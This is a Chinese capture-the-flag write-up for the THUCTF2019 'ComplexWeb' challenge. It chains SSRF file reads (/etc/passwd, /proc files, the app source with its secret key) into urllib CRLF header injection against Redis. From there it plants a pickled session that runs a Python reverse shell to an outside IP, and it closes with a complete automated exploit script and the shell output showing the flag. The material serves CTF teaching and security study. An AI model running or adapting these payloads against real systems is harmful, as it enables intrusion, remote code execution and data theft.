清华校赛THUCTF2019 之 ComplexWeb

题目地址:http://47.93.12.191:7002

本题思路:Python安全 - 从SSRF到命令执行惨案

基本知识

ssrf

这还是第一次做关于ssrf的题目,ssrf就是服务器实现了一个可以发起url请求的功能,而这个url参数可以被控制,从而导致了服务器根据输入的参数去发起了一个恶意请求,就叫ssrf(Server-Side Request Forgery 服务端请求伪造)。比如一个web服务可以根据url翻译一个网页,那么这个服务就会根据这个url去访问这个网页,所以这个功能一般提交的url是http协议,但是如果实现的并不安全,这里我们可以传入其他协议的url,比如file,gopher等协议,这是就可能导致一些敏感信息的泄露。另外服务器本身这台机器可能处于一个网络边界,那么可能就会有多张网卡,构造的恶意请求会被服务器发起,这时便可以利用ssrf扫描内网,获取进一步信息。

  • php通常的后端实现函数为:file_get_contents,fsockopen,curl_exec
  • python通常使用urllib库

image

image

image

相关参考:

redis

redis为一个非关系型数据库,存储采用key-value的形式,在linux

gopher

虽然本题与gopher无关,但还是想要介绍一下gopher

python反序列化

利用ssrf通过file协议泄露文件

随意登录后,有一个请求地址的输入框,猜测是一个ssrf漏洞,测试常见协议:http,gopher,dict,file,php等。测试后发现支持file,估计可以读取文件。不支持gopher(没看回包,用gopher打了两天),不支持php,应该不是php写的web。

常用文件

尝试利用file协议去读取本地文件,首先测试操作系统:

file:///etc/passwd            linux
file:///C:\Windows\win.ini    windows

常用linux文件:

file:///etc/passwd            获得用户信息
file:///etc/hosts             获得主机网络配置
file:///proc/self/cmdline     获得当前进程启动命令
file:///proc/self/maps        获得当前进程内存布局
file:///proc/net/arp          获得内网机器信息
file:///proc/net/tcp          获得tcp端口信息
file:///proc/cpuinfo          获得cpu信息
file:///proc/version          获得系统版本信息
file:///flag                  猜测flag

本题思

  • 首先通过 file:///proc/self/cmdline 获得如下配置信息
uwsgi--ini/app/app.ini
  • 然后通过配置文件 file:///app/app.ini 获得启动信息
[uwsgi]
http = 0.0.0.0:7002
pythonpath = /app
wsgi-file = /app/main.py
callable = app
processes = 1
threads = 10
# daemonize = /tmp/app.log
uid = 1001
gid = 1001
  • 最后通过 file:///app/main.py 拿到python源码
import urllib
import urllib.request
import urllib.error
from flask import Flask, session, request, redirect, url_for, render_template
from session import Session
from redis import Redis

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_REDIS'] = Redis(host='127.0.0.1', port=6379)
app.config['SESSION_USE_SIGNER'] = True
app.config['SECRET_KEY'] = 'aik5geithie1cii1euCee1xohhupheiL'
app.config['SESSION_PERMANENT'] = False
app.config['PERMANENT_SESSION_LIFETIME'] = 3600 
Session(app)

@app.route('/')
def index():
    if not session.get('username', None):
        return redirect(url_for('login'))
    return render_template('index.html',username=session.get('username'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        if username.strip():
            session['username'] = username
            return redirect(url_for('index'))
        return redirect(url_for('login'))
    if request.method=="GET":
        return render_template('login.html')
    
@app.route('/download/', methods=['POST'])
def download():
    if not session.get('username', None):
        return redirect(url_for('login'))
    if request.method == 'POST':
        url = request.form["url"]
        try:
            res = urllib.request.urlopen(url)
            return res.read().decode('utf-8')
        except Exception as e:
            return str(e)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000, debug=False)

python审计

通过分析源码可知,ssrf的漏洞点的后端实现为urllib,然后又用到了redis,且flask的session是用redis存储的,那么有如下两个思路控制redis:

  • 利用ssrf漏洞点,使用gopher协议,控制redis
  • 利用ssrf漏洞点,使用urllib的头注入,控制redis

控制redis之后,有如下两个思路命令执行;

  • 利用redis的备份文件功能,写入用户的crontab文件,从而执行命令或者反弹shell
  • 本题的用户的session是python的序列化格式存入redis中,故可构造恶意的session写入redis中,当再次使用这个用户访问时,即可触发反序列化,进而命令执行

经过测试,本题不仅不支持gopher协议,也没有crontab,故只能使用urllib头注入,然后构造恶意的序列化session这个思路。

urllib头注入

python的urllib库爆出过一组url的头注入,大概意思就是在url里可以构造CRLF(\r\n)(%0d%0a),使得url中部分的数据被处理到请求头中,导致头注入,测试如下:

  • CVE-2016-5699(失败): http://[vps-ip]%0d%0aX-injected:%20header:8888
  • CVE-2019-9740(失败): http://[vps-ip]%0d%0a%0d%0aheaders:8888
  • CVE-2019-9947(成功): http://[vps-ip]:8080?%0d%0apayload%0d%0apadding

构造如下burp请求:

POST /download/ HTTP/1.1
Host: 47.93.12.191:7002
Content-Length: 56
Accept: */*
Origin: http://47.93.12.191:7002
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://47.93.12.191:7002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=d11dd213-7e07-42b9-81be-31531f7fbbfa.BPuavI7NwQ4CvtwE8bAP4u0cQMY; BD_UPN=123253
Connection: close

url=http://183.172.25.54:8888?%0d%0apayload%0d%0apadding

服务器收到响应:

➜  nc -l 8888
GET /?
payload
padding HTTP/1.1
Accept-Encoding: identity
Host: 183.172.25.54:8888
User-Agent: Python-urllib/3.7
Connection: close

可见已经成功的完整控制了url请求中的一行(payload那行),这样的话我们就可以把这条请求发给redis服务的端口,除了payload的错误指令虽然不会执行成功,但是并不会干扰正确的指令执行。

控制redis

首先通过读取文件:file:///proc/net/tcp,能读到这个地址,0100007F:18EB,0x18EB为6379,即为redis的默认端口。

尝试,利用KEYS *命令获得所有key:

url=http://183.172.25.54:6379?%0d%0aKEYS%20*%0d%0apadding

用服务器测试payload是这样的

GET /?
KEYS *
padding HTTP/1.1
Accept-Encoding: identity
Host: 183.172.25.54:6379
User-Agent: Python-urllib/3.7
Connection: close

修改地址为127.0.0.1,攻击web服务器本身

url=http://127.0.0.1:6379?%0d%0aKEYS%20*%0d%0apadding

但是发现返回了一个$-1,可能只有第一条的回显,也可能是只指执行了第一条GET /?,这条肯定失败。那么如何测试是否控制redis成功呢?这里采用利用redis的备份命令去写一个文件,然后再去利用ssrf处的file协议读取,如果读取成功则说明控制成功,redis命令如下:

config set dir /tmp
config set dbfilename xuanxuan
save

构造成头注入的url格式如下:

url=http://127.0.0.1:6379?%0d%0aconfig%20set%20dir%20/tmp%0d%0aconfig%20set%20dbfilename%20xuanxuan%0d%0asave%0d%0apadding

然后利用file协议访问:

url=file:///tmp/xuanxuan

返回为:

‘utf-8’ codec can’t decode byte 0xfa in position 9: invalid start byte

说明文件成功写入,只是因为编码问题不可读取。虽然不能读到,但是至少证明了控制redis成功!

flask-session的redis存储

因为编码问题,拿不到备份的数据库,所以自己本地搭了一下这个环境。因为题目环境是python3(从http的返回头可以看出),我这里用的是python2,所以精简了一下代码,然后把session这个库换成了flask_session(猜的,我也不知道库名这玩意去哪查,也许是pip search),然后安装如下库:

sudo pip install flask
sudo pip install Flask-Session
sudo pip install redis
from flask import Flask, session, request, redirect, url_for, render_template
from flask_session import Session
from redis import Redis

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_REDIS'] = Redis(host='127.0.0.1', port=6379)
app.config['SESSION_USE_SIGNER'] = True
app.config['SECRET_KEY'] = 'aik5geithie1cii1euCee1xohhupheiL'
app.config['SESSION_PERMANENT'] = False
app.config['PERMANENT_SESSION_LIFETIME'] = 3600 
Session(app)

@app.route('/')
def login():
    session['username'] = 'xuanxuan'
    return "hello"
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000, debug=False)

启动:

➜  Desktop python pyweb.py           
 * Serving Flask app "pyweb" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [15/Oct/2019 09:57:02] "HEAD / HTTP/1.1" 200 -

访问本地,查看数据库变化情况:

➜  ~ redis-cli 
127.0.0.1:6379> keys *
(empty list or set)
127.0.0.1:6379> 

➜  ~ curl -I "http://127.0.0.1:5000"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5
Set-Cookie: session=cbba8859-c6c3-45d4-b19c-ecc77cd69db9.B6WuiBxi1qe9mCJR9UMHe9Lma3M; HttpOnly; Path=/
Server: Werkzeug/0.16.0 Python/2.7.12
Date: Tue, 15 Oct 2019 16:57:02 GMT

➜  ~ redis-cli 
127.0.0.1:6379> keys *
1) "session:cbba8859-c6c3-45d4-b19c-ecc77cd69db9"
127.0.0.1:6379> get session:cbba8859-c6c3-45d4-b19c-ecc77cd69db9
"(dp1\nS'username'\np2\nS'xuanxuan'\np3\ns."
127.0.0.1:6379> 

发现session存储的是利用python的序列化字符串存在redis里的,故当我们携带session访问时,就会反序列化读到我们的信息,这里是username。而且所以session存储的key就是session:加上cookie中的session值(点之前),故生成一个反弹shell的python反序列化payload,然后覆盖我们自己的session,然后重新访问网页即可触发反序列化漏洞。

利用python反序列化攻击session

不过测试无法只利用一个用户修改自己的session,这里采用a用户修改b用户的session,然后再用b的session去访问网页,即可触发漏洞,利用发方法如下:

首先用nc开启监听端口:

➜ nc -l 8888

然后生成python反序列化的反弹shell的payload:

import cPickle
import os

class exp(object):
    def __reduce__(self):
        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("183.172.25.54",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system, (s,))

e = exp()
s = cPickle.dumps(e)
print s.replace("\n",'\\n').replace("\"","\\\"")

payload如下:

cposix\nsystem\np1\n(S'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"183.172.25.54\",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\''\np2\ntRp3\n.

利用a用户(8362245b)去修改另一个b用户(d11dd213)的session

POST /download/ HTTP/1.1
Host: 47.93.12.191:7002
Content-Length: 370
Accept: */*
Origin: http://47.93.12.191:7002
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://47.93.12.191:7002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=8362245b-b150-4ec4-9580-ce41199a2ee6.ribkYinQThE-ex26rLtYhRi8Lkw;BD_UPN=123253
Connection: close

url=http://127.0.0.1:6379?%0d%0aset "session:d11dd213-7e07-42b9-81be-31531f7fbbfa" "cposix\nsystem\np1\n(S'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"183.172.25.54\",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\''\np2\ntRp3\n."%0d%0apadding

利用b用户(d11dd213)的session登录,触发反序列化漏洞

GET / HTTP/1.1
Host: 47.93.12.191:7002
Accept: */*
Origin: http://47.93.12.191:7002
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Referer: http://47.93.12.191:7002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=d11dd213-7e07-42b9-81be-31531f7fbbfa.BPuavI7NwQ4CvtwE8bAP4u0cQMY; BD_UPN=123253
Connection: close

即可触发反连,获得shell

➜ nc -l 8888
/bin/sh: 0: can't access tty; job control turned off
$ python -c "import pty;pty.spawn('/bin/bash')" # 优化tty
bash: /root/.bashrc: Permission denied
uwsgi@c20357aa5138:/$ ls
ls
aeh0iephaeshi9eepha6ilaekahhoh9o_flag  boot  home   media  proc  sbin  tmp
app				       dev   lib    mnt    root  srv   usr
bin				       etc   lib64  opt    run	 sys   var
uwsgi@c20357aa5138:/$ cat ae*
cat ae*
THUCTF{22xxr2sdcvsdg43tr4vdccc}

当然也可以不反弹shell,可以直接利用输出重定向,把命令输出写到一个文件里,然后在利用file协议读取即可,payload如下:

url=http://127.0.0.1:6379?%0d%0aset "session:d11dd213-7e07-42b9-81be-31531f7fbbfa" "cposix\nsystem\np1\n(S'echo `ls` > /tmp/xuan'\np2\ntRp3\n."%0d%0apadding

完整exp

直接用python脚本实现的exp,而且这里我的环境是校园内网,服务器是直接能访问到本机的,所以直接在本地起了nc,shell可以直接弹回本机

#!/usr/bin/env python
# -- coding:utf-8 --
# Author:	xuanxuan
# Date:		2019-10-13

import cPickle
import requests
import os,time
import platform

base_url = "http://47.93.12.191:7002"
server_ip = "183.172.81.163"
server_port = 8888
shellcode = ""

def gen_shellcode():
	global shellcode
	class exp(object):
	    def __reduce__(self):
	        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("server_ip",server_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
	    	return (os.system, (s,))
	e = exp()
	s = cPickle.dumps(e)
	shellcode =  s.replace("\n",'\\n').replace("\"","\\\"").replace("server_ip",server_ip).replace("server_port",str(server_port))


# 需要本机可被目标机器寻址,之后可以手动优化shell: python -c "import pty;pty.spawn('/bin/bash')"

def open_nc():
	myos = platform.platform()
	if "Darwin" in myos:
		f = open("nclocal.sh","w+")
		f.write("nc -l "+str(server_port)+"\n")
		f.close()
		os.system("chmod +x nclocal.sh")
		os.system("open -a Terminal.app nclocal.sh")
		time.sleep(2)
		os.system("rm -rf nclocal.sh")
	elif "Linux" in myos:
		os.system("gnome-terminal -e 'bash -c \"nc -l "+str(server_port)+"\"'")

def attack():
	a = requests.session()
	r1 = a.post(base_url+'/login/', data = {'username':'xuan'})
	b = requests.session()
	r2 = b.post(base_url+'/login/', data = {'username':'bling'})
	mysession = r2.cookies['session'][0:36]
	payload = "http://127.0.0.1:6379?\r\nset \"session:"+mysession+"\" \""+shellcode+"\"\r\npadding"
	a.post(base_url+'/download/',data = {'url':payload})
	b.get(base_url)

if __name__ == '__main__':
	gen_shellcode()
	open_nc()
	attack()